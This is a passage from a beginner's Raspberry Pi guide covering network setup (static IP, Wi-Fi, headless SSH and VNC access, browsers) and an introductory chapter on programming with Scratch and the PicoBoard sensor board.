notation) that serves to separate the network portion from the host (unique) portion of an IP
address. If you didn’t know that an IP address consists of two (and often three) parts, then I
guess you just learned something new!
4: The Up or Down status notifications are useful for troubleshooting purposes.
5: This is Send/Receive metadata that is most useful when tuning network performance or
undergoing diagnostics.
Besides the IP address proper and subnet mask, another important IP address you should know is the
default gateway. This is the IP address of your router; the router is the device that gets your Pi out
from your local area network (LAN) to the Internet.
You can view your Pi’s current default gateway by issuing the route command from a Terminal
session. You can see the route command output in Figure 7.1 as well; specifically, look for the IP
address under the Gateway column.
Note: The Heart of Pi’s Wired Networking
Be careful to differentiate the RJ-45 “ice cube” port on your Raspberry Pi and the
actual network interface circuitry. The Ethernet engine on the Model B board is the
LAN9512 IC that is located on the PCB directly behind the USB port stack.
Another way to view your Pi’s TCP/IP configuration information is to issue the command ip addr
show. The ip command is pretty robust; run man ip to view the man page.
Let’s set a static IP address for the wired Ethernet interface on the Pi just for grins.
Task: Setting a Static IP Address on Your Raspberry Pi
To set a static IP address, you need to edit the interfaces configuration file.
Note: nano Not Required
Please know that you are perfectly free to use any Linux text editor when you edit
configuration files. The only reason I use the nano editor in this book is because it is
my personal favorite. Your mileage might vary—for instance, you could have a strong
preference for vi. It’s all good!
1. Run sudo nano /etc/network/interfaces to open the interface’s configuration file for
editing.
2. Change the line that reads:
iface eth0 inet dhcp
to
iface eth0 inet static
3. Below the changed line, add the following lines; in this example I am supplying
“dummy” data just to show you what a typical configuration looks like:
address 192.168.1.100
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1
A comprehensive discussion of network addresses, broadcast addresses, and default gateways is
well outside the scope of this book. Suffice it to say that you need to have at least a good solid
knowledge base in networking before you undertake static IP configuration.
One more thing before you switch gears from wired Ethernet to wireless Ethernet—remember that the
Pi board contains status LEDs. Pay particular attention to the FDX, LNK, and 100 lights. The FDX
and 100 LEDs should glow solid, and the LNK light should flash as data is sent from and received by
the Ethernet interface.
Configuring Wireless Ethernet
The wired Ethernet capability of the Model B board is all well and good. However, what if your
Raspberry Pi project won’t work with a network cable? For instance, what if you want to mount a
security camera in your driveway? Do you really want to run Ethernet cable from your router out to
the Pi? I don’t think so.
Thus, you can configure wireless Ethernet (Wi-Fi) for both the Model A and Model B boards. You
can find tiny USB Wi-Fi dongles all over the Internet; I recommend purchasing yours from Adafruit (I
own this dongle, and it works great). You can see what it looks like in Figure 7.2.
FIGURE 7.2 Adafruit sells very reasonably priced USB Wi-Fi dongles. Regarding the
annotations: 1 shows the Raspberry Pi in a nice case; 2 shows the two USB ports on the Model B
board; 3 shows my Adafruit Wi-Fi dongle.
1: Raspberry Pi
2: USB ports
3: Wi-Fi dongle
Note: What Is a Dongle?
A dongle is a small piece of hardware that plugs directly into a computer, usually via
USB. The dongle typically provides either copy protection for software or access to Wi-Fi
networks.
Typically, configuring Wi-Fi under Linux is a nightmare. The good news is that the Raspberry Pi
Foundation knows all about this problem and includes the wonderful WiFi Config utility for
Raspbian. Without any further ado, let’s set up Wi-Fi!
Task: Setting Up Wi-Fi on Your Pi
Even though the Raspberry Pi Foundation has done their best to simplify Wi-Fi setup, I
think it best to walk you through the procedure step-by-step.
1. Turn off your Pi and plug your Wi-Fi dongle into your powered USB hub or Pi board’s
USB port. Although USB is technically a hot-pluggable technology, which means that you
should be able to plug and unplug your dongle at will, Pi enthusiasts (myself included)
have had problems with that. Thus, your best bet is to plug in the dongle prior to starting
up the Pi.
2. Boot the Pi and launch the LXDE desktop.
3. Double-click WiFi Config, the interface for which is shown in Figure 7.3. Click Scan
and then click Scan again in the Scan results dialog box. Find your preferred Wi-Fi
network (the network must be configured to broadcast its SSID, unfortunately) and
double-click it to specify your authentication and encryption options.
FIGURE 7.3 You can set up Wi-Fi easily by using the WiFi Config utility.
4. If your target Wi-Fi network is secured (and I certainly hope that it is), then fill in the
necessary encryption and key parameters. Click Add to complete the configuration.
5. In the wpa-gui dialog box, ensure that your Wi-Fi network appears in the Network: field
and then click Connect. You are now online with Wi-Fi!
After you are connected, you can check your Wi-Fi status by right-clicking its icon in
the LXPanel Application Launch Bar (see Figure 7.4).
FIGURE 7.4 The WiFi Config utility runs in the LXPanel app launcher for easy access.
Configuring “Headless” Raspberry Pi
I’ve used the term “headless” Raspberry Pi a few times in the book so far. Just what the heck do I
mean? Well, here’s the deal: Computer monitors take up quite a bit of desk space. For instance, I
have six monitors—big ones, too—in my home office! I don’t want to stand up a seventh monitor to
fire up my Pi.
“Headless” simply means that you connect to the Pi remotely without the necessity of an external
monitor or television screen. You can use a couple networking protocols to make the remote access
happen:
Secure Shell (SSH): This protocol gives you secure (encrypted) remote access to the Pi
command prompt.
Virtual Networking Computing (VNC): This protocol gives you unsecure (unencrypted) GUI
remote access to your Pi.
Before we get to using SSH and VNC, here’s an initial prerequisite: You must have the Pi’s IP
address. How can you obtain this address, though, when you don’t have a monitor available?
Your best bet is to download a freeware or shareware IP scanning tool. For Windows, I recommend
the Advanced IP Scanner (http://is.gd/9qC1AI). This tool, which is shown in Figure 7.5, is extremely
easy to use.
FIGURE 7.5 You can use an IP scanner to determine your Raspberry Pi’s IP address.
The Advanced IP Scanner Tool parses the firmware metadata of any detected network interfaces; thus
you can easily spot the RPi by looking for the entry with the Manufacturer entry of Raspberry Pi
Foundation as shown in Figure 7.5.
On Apple OS X systems (and Windows and Linux computers as well, for that matter), I recommend
Nmap (nmap.org). The Nmap toolset does a whole lot more than simply scan IP addresses; you can
actually perform a lot of information security tasks with these programs.
Nmap can be run either from a command line or by using the built-in Zenmap graphical interface (the
latter is shown in Figure 7.6). Note in the figure that Zenmap shows us the Pi both as a Linux box
(which it is) and the Manufacturer field of the Pi’s network interface.
FIGURE 7.6 The Nmap/Zenmap toolset is a comprehensive suite of TCP/IP utilities for
Windows, OS X, and Linux.
Now let’s turn our attention to how you can actually use the SSH and VNC protocols to remotely
connect to your Raspberry Pi.
Secure Shell (SSH)
Secure Shell (SSH) is a Unix/Linux client/server network protocol you can leverage with the
Raspberry Pi to support secure command-line remote access. Raspbian includes an SSH server and
enables it by default. You can verify the SSH server status by opening Raspi-Config and checking the
ssh (Enable or disable ssh server) option.
So the Pi is already set up as an SSH server. Now to establish a remote connection to the headless
RPi, you need to use an SSH client. Unfortunately, Microsoft has never included SSH software in
their operating systems.
Most people use PuTTY for Windows (http://is.gd/ResYA2), which you can check out in Figure 7.7.
PuTTY is really simple to use; just fire up the tool, pop in the Pi’s IP address in the Host Name field,
and click Open.
FIGURE 7.7 On Windows systems, PuTTY presents a low-overhead way of connecting remotely
to a “headless” Raspberry Pi.
Task: Using SSH to Connect to a Raspberry Pi Remotely
On OS X or Linux systems, you already have the SSH client built into the OS. Thus, you
can fire up a Terminal session on your client system and perform the following procedure:
1. Assuming you are using the default user credentials of pi/raspberry and (in this example)
the Pi is located at 192.168.1.11, you can issue the following command from the OS X or
Linux terminal:
ssh [email protected]
The previous command, when translated into conversational English, says that you want
to use the SSH protocol to establish a remote connection to the SSH server listening at
192.168.1.11 and that you want to connect using the user account called pi.
2. Authenticate by providing the password for your local OS X or Linux account. You’ll
then be asked to verify the authenticity of the Pi. Because we know that this is the correct
box, you can type yes and then press Enter to add the SSH server’s public key to your
system and automatically add the RSA thumbprint of the Pi to your /etc/.ssh/known_hosts
configuration file.
3. Issue any RPi-specific commands (such as sudo raspi-config) to convince yourself that
you are in fact remotely connected to your Pi. The entire SSH connection workflow from
the perspective of OS X is shown in Figure 7.8. In the figure I highlighted the commands I
used.
FIGURE 7.8 The SSH connection process to Raspberry Pi is straightforward.
The chief advantages to SSH-based remote access to the Pi are
The client-side setup is quick and easy.
You have full Terminal access to your Pi up to any restrictions that might be set on your
connecting user account.
All data transmitted between your remote workstation and the Pi is encrypted.
On the other hand, SSH remote connections to the Pi have one chief downfall—no GUI access. If you
need to display an X Server desktop remotely, you need to turn your attention to setting up VNC.
Virtual Network Computing (VNC)
VNC is a high-performance and convenient method for sharing GUI desktops across a network. The
two downsides to using VNC for our purposes are as follows:
By default, VNC transmits all data between the client and the server in plain text.
Therefore, if you have need for data confidentiality, you need to select an appropriate VNC
server and client software package.
By default, Raspbian does not include a VNC server. I show you how to address this issue
immediately, so don’t be overly concerned.
The VNC setup workflow consists of three steps: (1) installing a VNC server on the Pi; (2) installing
a VNC client on your remote system; and (3) making the remote connection. Let’s do this!
Task: Using VNC to Connect to the Raspberry Pi
You will in all likelihood bookmark this page because using VNC to connect to your Pi
is a procedure that you’ll use on a regular basis with your Raspberry Pi. I’m glad to help!
1. On your Pi, fire up a Terminal session and run the following command to download and
install the TightVNCServer (http://is.gd/A6k1nD). There exist many different VNC
packages; Tight is simply considered to be a good choice for the Pi.
Click here to view code image
sudo apt-get install tightvncserver
2. Now you need to start the VNC server. You’ll need to do this every time you boot the Pi
unless you take steps to autorun the command. (You will learn how to set up the VNC
server to run automatically in the next procedure.)
tightvncserver
3. Now it’s time to start a VNC session. Again, you must do this manually every time the Pi
is started unless you configure autolaunch:
Click here to view code image
vncserver :2 -geometry 1024x768 -depth 24
Here’s what each part of the preceding syntax means:
vncserver :2: This launches the VNC server session process and labels the session 2.
Session 1 is started when you start the server. You can create additional sessions with
different resolutions if you want. For instance, if you want the session to run in HD, try
vncserver :3 -geometry 1920x1080 -depth 24.
geometry: This determines the pixel size of the session window. 1024x768 is standard
4:3 aspect ratio, and 1920x1080 is 16:9 widescreen HD aspect ratio.
depth: This number refers to the color bit depth for the VNC session. Twenty-four bits is
the standard for the Pi.
Before you can test access from a remote workstation, you need to install a VNC
viewer
software.
Again,
lots
of
options
exist
here;
I
enjoy
RealVNC
(http://is.gd/EB07wO).
Start your VNC Viewer and specify the IP address and session number of your Pi. For
instance, if my Pi listens for connections at 192.168.1.11 and I need VNC session number
3, I type:
192.168.1.11:3
Note there is no space between the IP address and the session number. You can see this
in action in Figure 7.9.
FIGURE 7.9 VNC gives you a remote GUI session on your Raspberry Pi.
Let’s finish this section with a quick procedure on configuring your Pi to run the VNC server
automatically at startup.
Task: Configure Your Pi to Start VNC Server Automatically
You probably don’t want to run the steps in the preceding task every time you boot up
your Raspberry Pi. Therefore, let me show you how easy it is to configure VNC to start
automatically during every system startup.
1. Start Raspi-Config and ensure that you set the GUI to start automatically at every startup.
This is done by navigating to the Enable Boot to Desktop menu option and answering Yes
to the question Should we boot straight to desktop?
2. After the Pi comes back from its reboot, issue the following Terminal command to
change your focus to the /home/pi/.config directory. Any file or directory with a period
(.) in front of it means that it is hidden from view by default.
cd ~/.config
3. Create a directory called autostart. Reasonably enough, you do this in Linux with the
mkdir command.
mkdir autostart
4. Let’s now move the focus inside the new autostart directory.
cd autostart
5. You’re almost finished. Create a new configuration file named tightvnc.desktop.
sudo nano tightvnc.desktop
6. Add the following lines to the new, blank configuration file. You can see my copy of the
file in Figure 7.10.
[Desktop Entry]
Type = Application
Name = TightVNC
Exec = vncserver :1
StartupNotify = false
FIGURE 7.10 For some users, it is convenient to autostart the VNC server on the Raspberry
Pi.
7. Type Ctrl+X and then Y to save your changes and exit nano. Reboot the Pi, and you’re
done:
sudo reboot
On Browsing the Web with the Pi
Midori (http://is.gd/5ccfPn) is the default web browser that the Foundation included in Raspbian (see
Figure 7.11). I’m sure that the Foundation selected Midori because it is known as a “lightweight, fast,
and free” web browser.
FIGURE 7.11 Midori is a good choice for the Raspberry Pi due to its low system resources
footprint.
Here are some of the specific advantages of Midori as a Pi web browser:
Highly adherent to web standards (although HTML5 support needs some work).
Emphasis on security and user privacy.
The Preferences panel allows you to suppress images and media from web pages, which
improves browsing speed.
Extensions support—extensions are browser add-ons that can greatly expand the capabilities
of a web browser.
Frankly, the main limitations to Midori aren’t really limitations of any web browser, but are more of
a function of the Pi’s own limited hardware resources and ARM processor architecture.
For instance, take Adobe Flash. Love it or hate it, there is much multimedia online that is viewable
only if your browser supports the Adobe Flash Player plug-in. Unfortunately, Adobe abandoned Flash
support for ARM processors quite a while ago. Therefore, out of the box, you can’t view Flash
(which includes YouTube) on the Pi. Bummer, right?
For hardcore Flash fans, you can try to hack around with the open source Gnash (http://is.gd/TvqqNI)
player. You’ll find that Gnash enables you to play Flash versions 7, 8, and 9 media objects, although
you might be disappointed at the performance.
If you are as big of a fan of YouTube as I am, you’ll be pleased to know that there are some Pi-
specific options. Your best bet is to fire up your favorite search engine and perform a search for play
youtube raspberry pi or something similar.
In Chapter 12, “Raspberry Pi Media Center,” you learn how to build a Raspberry Pi media center by
using the wonderful Xbox Media Center (XBMC) software.
Finally, if you tried Midori and simply concluded that you don’t like it, you can certainly install an
additional web browser. For the love of all that is holy, don’t install a “full-sized” web browser like
Mozilla Firefox on your Pi—you will live to regret it, I assure you.
Chromium (http://is.gd/oWiKFh), the open source fork of Google’s Chrome browser, is a good
choice for the Pi in my experience. Mozilla Firefox fans might want to take a look at Iceweasel
(http://is.gd/cfmCHP); in fact, I’ll be using Iceweasel as the default browser for the remainder of this
book.
Chapter 8. Programming Raspberry Pi with Scratch—Beginnings
Now that you’ve learned some of the history behind the Raspberry Pi, you understand why the Pi
comes preloaded with Scratch, Python, and other software development environments. After all, the
Pi’s fundamental reason for being is to encourage schoolchildren to build an interest in computer
programming.
Scratch is an intuitive programming language that was developed by the Lifelong Kindergarten group
of the Media Lab at the Massachusetts Institute of Technology (MIT) in Cambridge, Massachusetts
(http://is.gd/LYZJWm). The Media Lab folks wanted to present an easy-to-learn programming toolset
that empowers interested kids (and adults) to quickly create games and other media-rich interactive
experiences without having to understand complex syntax rules.
What’s particularly cool about Scratch is its use of drag-and-drop blocks instead of traditional text
commands to build computer programs. The MIT Media Lab wanted to help students avoid stumbling
over the learning curve inherent in memorizing complex programming language syntax and instead
focus on using logic and intuition to create Scratch projects.
So in a nutshell, Scratch is a way to teach nonprogrammers how to program. How cool is that?
To illustrate this point, take a look at Figure 8.1, which shows the same programmatic procedure
(specifically an if/then condition) in C and in Scratch. Which syntax is more immediately relatable to
you?
FIGURE 8.1 A conditional logic expression in C (top) and in Scratch (bottom).
Technical Aspects of Scratch
Scratch is an open source integrated development environment (IDE) that was itself built in Squeak, a
dialect of the Smalltalk programming language. As you have probably come to expect with open
source software, you can install Scratch on Windows, OS X, or Linux. Plans are already underway to
port Scratch on mobile platforms. As I said earlier, the Raspberry Pi Foundation includes Scratch 1.4
in its Raspbian operating system distribution.
Because Scratch is a cross-platform application, you can create a .sb Scratch project file on your Pi,
save the project file to an online storage service, download the .sb file to your PC, Mac, or Linux
box, and resume your work seamlessly. Of course, this process works just as well in reverse.
Scratch Version Issues
I have good news and bad news for you. The good news is that Scratch 1.4 works just fine on the
Raspberry Pi, and there are plenty of Scratch 1.4 programmers in the world. The bad news (if you
want to call it that) is that the Lifelong Kindergarten Group released Scratch 2.0 in May 2013, and it
is incompatible with the Raspberry Pi.
The incompatibility centers on the fact that Scratch 2.0 is built with Adobe Flash, and Flash is not
supported on the Pi. By contrast, the Pi includes kernel support for Squeak, the underlying
programming language behind Scratch 1.4.
I chatted with Eben Upton, co-creator of the Raspberry Pi, regarding the likelihood that the
Foundation will find a way to bundle Scratch 2.0 on the Pi. This was his response:
We don’t expect to support Scratch 2.0 any time soon, but we are doing a lot of work to
make Scratch 1.4 more performant on the Pi (Smalltalk optimization and updating the
underlying Squeak VM). In practice, we don’t expect the Scratch team’s use of Flash to last
very long (even Adobe doesn’t believe in that stuff anymore), so hopefully we’ll reconverge
when they port to JavaScript or similar.
So...the long and the short of it is that functionally Scratch 1.4 and Scratch 2.0 are practically
identical, so everything you learn to do in this chapter is directly applicable to Scratch 2.0. That said,
I focus educational efforts in this chapter strictly on Scratch 1.4 because that is the version included
in Raspbian.
The Scratch Community
Another important principle behind Scratch is the power of community. Before going too much further
with this discussion, I want you to visit the Scratch home page at scratch.mit.edu and register for a
free Scratch user account (see Figure 8.2).
FIGURE 8.2 You should become a part of the Scratch community.
1. Browse Scratch projects here
2. Create a Scratch account here
Becoming a member of the Scratch community enables you to download projects made by other
Scratchers (yes, Scratch users call themselves “Scratchers”), as well as to share your own work.
Scratch site members can also post and answer questions on the Scratch discussion forums
(http://is.gd/S4ZeId).
Note: Cat Scratch Fever
The name Scratch does not officially arise from the feline world, although the Scratch
Cat is the official mascot of the product. Instead, scratch in this context refers to the disc
jockey (DJ) technique of scratching vinyl records on a turntable to produce interesting
musical beats and variations. This notion of scratching is linked to the creativity and self-
expression that is encouraged in building Scratch games.
The only downsides I’ve found to using Scratch on the Pi are as follows:
Because the Pi does not support either Adobe Flash or Java, you can’t preview Scratch games
on the Scratch website.
Because the Pi isn’t exactly a robust computer, overall Scratch performance is a bit on the
slow side.
If you want to install Scratch on one of your full-fledged desktop computers, it’s easy to do. Scratch is
a cross-platform application, which means that you can install and run it on Windows, OS X, or
Linux. Download Scratch from the Scratch website (http://is.gd/iIuIQK).
One thing you will notice about Scratch 2.0 when you view the site is that you no longer need to
download and install the environment. Instead, you can jump directly into the editor from the Scratch
website.
Getting Comfortable with the Scratch Interface
To start Scratch, simply double-click the icon on your Raspbian desktop. An annotated version of the
Scratch interface is shown in Figure 8.3.
FIGURE 8.3 The Scratch user interface is friendly and intuitive.
1. Blocks Palette: You construct Scratch code by dragging and dropping action blocks.
2. Menu Bar: Here you can save a project, interact with the Scratch website, get online help,
and perform other file management tasks.
3. Sprite Header Pane: This area displays important details for the currently selected sprite,
including X/Y coordinates, name, and positional restrictions.
4. Scripts Area: This is where you actually program the logic of your Scratch application. Each
sprite can have one or more script “stacks” associated with it. You’ll notice that the Scripts
area has three tabs:
Scripts: For your code blocks.
Costumes: Used to alter the appearance of your sprites (for the Stage, this tab is called
Backgrounds).
Sounds: Attach recorded or imported audio files to your sprites.
5. Stage: The Stage is the work area for our Scratch application. This is where all the action
occurs. The Stage Toolbar, located above the Stage, gives you control over sprites and allows
you to resize the Stage three different ways.
6. Sprites Pane: In case you wondered, a sprite is a graphical object that you include in your
Scratch app. By default, the Scratch Cat appears as a sprite in all new Scratch projects. You
can import existing graphics as sprites or draw your own from, well, scratch.
To get started, visit the Scratch Projects site (http://is.gd/tsr9gM) and download somebody’s project
that looks interesting. Again, you need to be logged in with your Scratch account to download
projects (see Figure 8.4).
FIGURE 8.4 You can try out and download other peoples’ Scratch projects directly from your
web browser.
It bears repeating that you cannot preview projects in a browser on Raspi because the Pi does not
support Adobe Flash. Moreover, my communication exchanges with Eben tell me that the Raspberry
Pi Foundation has no future plans for the Pi to support Flash.
The main Scratch Projects website contains only Scratch 2.0 projects. Although you can upload your
Scratch 1.4 projects to the website, they will be converted to Scratch 2.0 before they appear on the
website. You can then edit the uploaded projects directly in your web browser (unfortunately, you
can’t run Scratch 2.0 projects from Scratch 1.4).
The traditional way to start a Scratch project (whether from a web browser or from within Scratch
itself) is to click the Green Flag icon in the Stage area. By contrast, you can use the Red Stop Sign
icon to manually stop the project.
One of the awesome things about open source software such as Scratch is that you can go beyond
simply admiring other Scratchers’ projects—you can actually view their source code and base your
own Scratch projects off of that code.
Let’s spend some time getting to know how the actual programming code works in Scratch. To that
point, you need to understand what blocks are and how they are used.
About Blocks
As I said earlier, you can use these easy-to-understand blocks to actually program your Scratch app.
As you’ll learn soon enough, blocks are puzzle-type pieces that “snap” together in much the same way
that LEGO blocks do.
These blocks make it easier for beginning programmers to think about and execute programming logic
without having the additional burden of learning programming language syntax.
In the Scratch interface Blocks palette, blocks are arranged in the following eight categories:
Motion: These blocks enable you to position a sprite on the Stage and optionally move or glide
it around. Click Edit, Show Motor Blocks to reveal extra blocks intended for use with the
LEGO Education WeDo Robotics Kit (http://is.gd/HIquiE).
Looks: These purple blocks allow you to change the look (called a Costume) of your sprites.
You also can have a sprite “say” or “think,” as well as ask the user for feedback.
Sound: These pink blocks give you control over system volume and allow your sprites to make
sounds of their own.
Pen: These dark green blocks enable your sprites to draw vector lines onscreen.
Control: These gold blocks represent the brains of your Scratch app. You can start scripts,
stop scripts, and manage all events within the program by using Control blocks.
Sensing: These light blue blocks are used to detect input from the user. For instance, you can
detect mouse clicks, typed responses, and analog events inbound from a PicoBoard. (I’ll tell
you more about the PicoBoard momentarily.)
Operators: These light green blocks perform mathematical equations and are also used to
handle string data.
Variables: These blocks are used to make two types of variables: traditional variables and
lists (formally called arrays).
I don’t notice this because I am profoundly colorblind, but I’m sure you observed that blocks within
each type are color-coded. This helps you associate certain types of actions with certain types of
blocks. Moreover, the color-coding helps you keep your variables distinct from each other within
your program.
Note: What is a Variable?
A variable is nothing but an in-memory placeholder for a piece of data. Computer
programs use variables, which can dynamically change their stored values (hence the name
variable), to move data around inside an application.
Scratch blocks themselves fall into six shape types:
Hat blocks
Stack blocks
Boolean blocks
Reporter blocks
C blocks
Cap blocks
Figure 8.5 displays representative examples of each block type. Take a look at them, and then let’s
learn a little bit more about each block shape.
FIGURE 8.5 A mash-up showing you the different types of block shapes in Scratch. Here’s a key
to the annotations: 1: Hat block; 2: Stack block; 3: Boolean block; 4: Reporter block; 5: C block; 6:
Cap block.
Hat Blocks
Hat blocks have rounded tops, which indicate that they are used to initiate actions, not follow other
actions. The Green Flag hat block is universally used to start scripts. I myself also use the Broadcast
hat blocks a lot to send and receive messages among different parts of my Scratch app.
Stack Blocks
Stack blocks typically form the bulk of your Scratch programming logic. You can see by the notch at
the top and bump at bottom (like interlocking puzzle pieces) that Stack blocks can have blocks
attached above and below, forming, well, stacks of programming logic.
Boolean Blocks
Boolean blocks are used to represent binary (yes/no, on/off, true/false, 0/1) conditions in your
program. You’ll note two things about Boolean blocks:
They have sharp edges.
They cannot be stacked, but instead are placed inside of Stack blocks as arguments.
Because Boolean blocks report values (namely true or false), they are also considered Reporter
blocks.
Reporter Blocks
Reporter blocks hold values. Like Boolean blocks, Reporter blocks fit inside of other blocks rather
than stack themselves. Visually, Reporter blocks have rounded ends as opposed to the sharp ends of
Boolean blocks.
C Blocks
C blocks derive their name from their visual appearance. These blocks wrap around one or more
other blocks. For instance, you can use a Forever C block to perpetually repeat one or more actions
throughout the runtime of the application.
Alternatively, you can apply true/false conditions to C blocks such that their enclosing actions run
only as long as the root expression evaluates to True.
Cap Blocks
Cap blocks are used to stop individual scripts or all scripts within the app. You’ll see visually that
Cap blocks have smooth bottoms and notched tops, which clues you in instantly as to their purpose.
Crafting a (Very) Simple Scratch Application
You will create a fleshed-out Scratch application in Chapter 9, “Programming Raspberry Pi with
Scratch—Next Steps.” In the meantime, I would be remiss as your guide if I didn’t give you some
preliminary direction on how to actually build a Scratch game.
Let’s get this party started, shall we?
Task: Creating a Basic Scratch App
As you’ll be able to see from the following steps, the Scratch project development
workflow is friendly, intuitive, and fun:
1. Open Scratch and start a new file. Make sure to save your work—there is nothing more
annoying than unnecessarily losing your progress because you forget to save.
2. Let’s change the background to something more educational. Double-click the Stage
sprite, navigate to the Backgrounds tab, and click Import.
3. In the Import Background dialog box, select the xy-grid background and click OK. Next
are some relevant points I want to draw your attention to before we proceed any further:
The Scratch Cat is the default sprite for any new Scratch app. You can delete it or any
other sprite by right-clicking it from the Stage or the Sprites area and selecting Delete
from the shortcut menu
Although you can view the Stage in three different sizes, the Stage itself is of fixed
dimensions: 360 pixels tall by 480 pixels wide. In point of fact, the reason I had you load
up the xy-grid background is to see these dimensions by using the Cartesian x/y coordinate
system.
What we are going to have this app do is glide the Scratch Cat counter-clockwise, draw a
square, and then notify the user that the program is finished.
Note: About the Cartesian Coordinate System
The Cartesian coordinate system represents a handy way to represent two-
dimensional space. The X-axis represents the horizontal plane, and the Y-axis
represents the vertical plane. You can read a nice write-up on the Cartesian
coordinate system at Wikipedia: http://is.gd/93qUQC. In the meantime, know that the
notation (100, -100) represents x=100 and y = -100. The built-in xy-grid Stage
background in Scratch makes this easier to visualize.
4. Double-click the Scratch Cat sprite, navigate to the Scripts tab, and assemble the blocks
as shown in Figure 8.6.
FIGURE 8.6 Your very first Scratch application.
Note
When you drag a block in proximity of another block, you’ll see a horizontal line
letting you know where the block will be positioned. Simply use drag-and-drop to
accurately place or move the blocks.
To unlink blocks, note that you need to click and drag the block beneath the block
from which you want to detach it. Yes, the block drag-and-drop thing requires some
patience—stick with it!
Let’s explain the purpose of each block in this first app; use the annotations in Figure 8.6 as your
reference:
1: Starts the script when the user clicks the Green Flag.
2: Lifts the Pen tool from the Stage (this ensures that the Pen doesn’t continue to draw from
previous runs of the program).
3: Clears any Pen tool remnants from previous runs of the app.
4: Positions the Scratch Cat sprite instantly at the origin point (x=0, y=0) on Stage.
5: Moves the sprite slowly from origin (0,0) to Stage coordinates (100,0). For more
information on the coordinate system see the sidebar, “About the Cartesian Coordinate
System.”
6–8: Here you customize the Pen tool color and line size. The pen down action figuratively
puts down the Pen tool “point” to the Stage surface. Note that you need to manually
“lift” the Pen tool with the pen up block to stop the line drawing.
9–14: Here you glide the sprite counter-clockwise around the Stage in a square shape. You
should see the line automatically reset and redraw each time you click the Green Flag
button to rerun the app.
15: Lifts up the Pen tool and therefore stop drawing lines.
16: Resets the sprite’s position to the (0,0) origin point.
17: Has the sprite communicate the end of the program to the user. In this case, the game
simply stops. As you gain expertise with Scratch, you will doubtless implement more
elegant methods to start, run, and stop your projects.
Then the final block stops the application.
The PicoBoard
Traditional Scratch programming involves sensing and responding to a variety of events:
Mouse clicks
Individual keystrokes
Keyboard-based user input
However, each of these events is what we can call digital. In other words, a mouse has either been
clicked or it has not—there are no in-between states. Likewise, a mathematical calculation results in
a particular result—there isn’t any gray area to speak of.
The PicoBoard is a separate piece of hardware you can use to bring analog, external events to your
Scratch projects. Fans of the PicoBoard stress that the board allows you to connect your Scratch
projects to the outside world.
For instance, how about a game that responds to voice input? Or perhaps a game that uses a custom
joystick controller? You can do all this and more with the Picoboard.
The PicoBoard is, like the Raspberry Pi, a printed circuit board. As you can see in Figure 8.7, the
PCB consists of a number of inputs that cover a wide variety of analog sensory data:
1: 4 Expansion Connectors: Each plug links to a pair of alligator clip connectors that can be
used to measure resistance in any external object. Scratch represents the connector states as
100 (no circuit) to 0 (complete circuit between alligator clips). Intermediate values represent
the degree of resistance in the circuit between the two alligator clips.
2: Slider: Scratch quantifies the slider position in the range 0–100.
3: Light Sensor: The sensor is quantified (or rendered digitally) by Scratch in a range from 0
(totally dark) to 100 (maximum brightness detected).
4: Microphone: This sound sensor is quantified in Scratch in a range from 0 (silence) to 100
(loudest audio signal detected).
5: Button: The tactile (physical) button has two states: True (when pressed) and False (when
unpressed).
6: USB: This port both provides power to the board and serves as a way to transfer data to and
from the PicoBoard.
FIGURE 8.7 The PicoBoard is a sensor module that brings the external environment to Scratch.
Incidentally, analog signals are distinct from digital ones because analog signals operate on a
continuum of continuously varying values. For instance, the human voice generates a wave-like
pattern of data. When computers use analog-to-digital converters (which the Pi can do thanks to the
Gertboard accessory), they attempt to replicate an analog waveform by using two values: 0 and 1.
The more bits you add to the conversion, the more faithfully you can reproduce the original audio
signal. That’s why low bitrate MP3 audio sounds so much worse than high bitrate MP3 audio.
Obtaining a PicoBoard?
The PicoBoard is manufactured and sold by Sparkfun Electronics (http://is.gd/WyVO4D); as of this
writing, the price is $44.95. Please note that the PicoBoard as it is sold by Sparkfun does not include
the requisite mini USB cable that is required to use the board.
Note, also, that the PicoBoard uses the mini USB cable, not the micro USB cable that the Raspberry
Pi uses.
Using a PicoBoard in Scratch
Recall that the Raspberry Pi requires at least 700 mA inbound to perform its work and that you should
plan on using a powered USB hub to power any external devices.
To that point, be sure to plug your PicoBoard’s USB cable into your powered hub and not into the Pi
itself.
I’ve found that the Raspbian OS automatically detects the PicoBoard, and the device is therefore
immediately usable in the Raspberry Pi. This is good news because you need to manually install
PicoBoard device drivers for Windows and OS X computers (you can download the drivers from the
Cricket website at http://is.gd/GTkHm7).
Task: Using the PicoBoard in Scratch
Now that I’ve whet your appetite and you’ve received your PicoBoard, it is time to
learn how to use it with your Raspberry Pi. Let’s begin!
1. Ensure that your PicoBoard is plugged in and that Scratch detects it. An easy way to test
functionality is by using the ScratchBoard watcher.
2. Navigate to the Sensing blocks palette, right-click the slider sensor value block, and
select show ScratchBoard watcher from the shortcut menu.
This action adds a Stage monitor (also called a watcher) to the Stage that displays the
current values of all sensors on the PicoBoard. You can see this in action in Figure 8.8.
FIGURE 8.8 The ScratchBoard Watcher gives you at-a-glance status of all PicoBoard
sensors. You can see the Watcher in the Stage area above and to the left of the Scratch Cat
sprite.
3. In Raspbian, open a web browser and download the Scratch project called “PicoBoard
Tester” (http://is.gd/ry5nra).
4. In Scratch, click File, Open and navigate to the PicoBoard Tester project. Open the
project and click the Green Flag icon to run it.
5. On the PicoBoard, jog the slider back and forth. Note both the graphical element on the
Stage as well as the watcher readout value.
Note: The Difference Between the ScratchBoard and the PicoBoard?
The MIT Learning Lab people originally developed the PicoBoard; the device
was initially yellow and carried the name Scratch Sensor Board. Before too long,
ownership of the project changed hands a couple of times. Now Sparkfun Electronics
owns the hardware; to celebrate they renamed the device PicoBoard and gave the PCB
a nice red paint job.
6. Snap your fingers. Again, observe both the program’s graphical display as well as the
value on the watcher. You’ll find that the PicoBoard microphone is pretty darned
sensitive!
7. Pick up your PicoBoard (carefully) and hold it close to a nearby light. By contrast,
slowly cover up the light sensor with your cupped hand. Observe value changes in the
Scratch project.
8. Click the tactile pushbutton on the PicoBoard and watch for changes in the Scratch app.
9. Finally, plug in one of the alligator clip pairs and touch the alligator clip metal ends
together. Note the changes in the Scratch program that indicate you’ve completed a zero-
resistance circuit between the probes.
Two final points to consider regarding this final project:
Try building your own sprites that take actions based on PicoBoard-detected events.
Remember to scour the source code of any project you download from the Scratch website.
You can learn a lot about best (and worst) practices by studying how other Scratchers think
and develop their apps.
Chapter 9. Programming Raspberry Pi with Scratch—Next Steps
If you invested the necessary time to practice the Scratch programming skills you learned in Chapter
